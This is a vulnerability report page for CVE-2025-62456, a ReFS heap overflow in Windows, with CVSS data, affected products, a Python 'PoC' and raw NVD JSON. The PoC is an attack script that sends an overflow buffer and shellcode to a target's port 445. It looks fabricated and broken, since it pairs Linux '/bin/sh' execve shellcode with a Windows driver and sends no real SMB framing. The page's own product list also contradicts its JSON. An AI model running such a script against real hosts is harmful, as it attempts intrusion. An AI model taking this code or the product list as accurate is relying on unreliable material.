Security Vulnerability Report
中文
CVE-2025-62456 CVSS 8.8 HIGH

CVE-2025-62456

Published: 2025-12-09 18:15:57
Last Modified: 2025-12-12 20:03:28

Description

Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:* - VULNERABLE
Windows Server 2019 (ReFS v1.2-v3.x)
Windows Server 2022 (ReFS v3.x)
Windows 11 22H2/23H2 (ReFS驱动)
Windows 10 21H2/22H2 (ReFS可选功能)
Windows Server Core (所有支持ReFS的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62456 PoC - ReFS Heap Buffer Overflow # This is a conceptual PoC for educational purposes only import struct import socket def create_refs_exploit_payload(): """ Generate a malicious ReFS file operation request that triggers heap buffer overflow """ # ReFS file system header header = b'REFS' # Malicious payload that causes heap overflow # This payload is designed to overflow a heap buffer overflow_size = 0x10000 # 64KB overflow overflow_data = b'A' * overflow_size # Crafted file operation request # Target specific ReFS driver function packet_type = struct.pack('<I', 0x00000001) # File operation type target_offset = struct.pack('<Q', 0x0000000000000000) # Target offset # Malicious data with shellcode shellcode = ( b'\x90' * 0x100 + # NOP sled b'\x48\x31\xff' + # xor rdi, rdi b'\x48\x31\xf6' + # xor rsi, rsi b'\x48\x31\xd2' + # xor rdx, rdx b'\x48\x31\xc0' + # xor rax, rax b'\x50' + # push rax b'\x48\xbb' + b'/bin/sh\x00' + # mov rbx, '/bin/sh\x00' b'\x53' + # push rbx b'\x48\x89\xe7' + # mov rdi, rsp b'\x50' + # push rax b'\x57' + # push rdi b'\x48\x89\xe6' + # mov rsi, rsp b'\x48\x31\xd2' + # xor rdx, rdx b'\xb0\x3b' + # mov al, 0x3b (sys_execve) b'\x0f\x05' # syscall ) # Construct full exploit packet payload = header + packet_type + target_offset + overflow_data + shellcode return payload def send_exploit(target_ip, target_port=445): """ Send the exploit payload to target system Requires SMB/file sharing service to be exposed """ payload = create_refs_exploit_payload() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) sock.send(payload) print(f'[+] Exploit payload sent to {target_ip}:{target_port}') sock.close() return True except Exception as e: print(f'[-] Exploit failed: {e}') return False if __name__ == '__main__': print('CVE-2025-62456 ReFS Heap Buffer Overflow PoC') print('Usage: python cve-2025-62456.py <target_ip>') print('WARNING: For authorized testing only')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62456", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:57.143", "lastModified": "2025-12-12T20:03:27.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62456", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}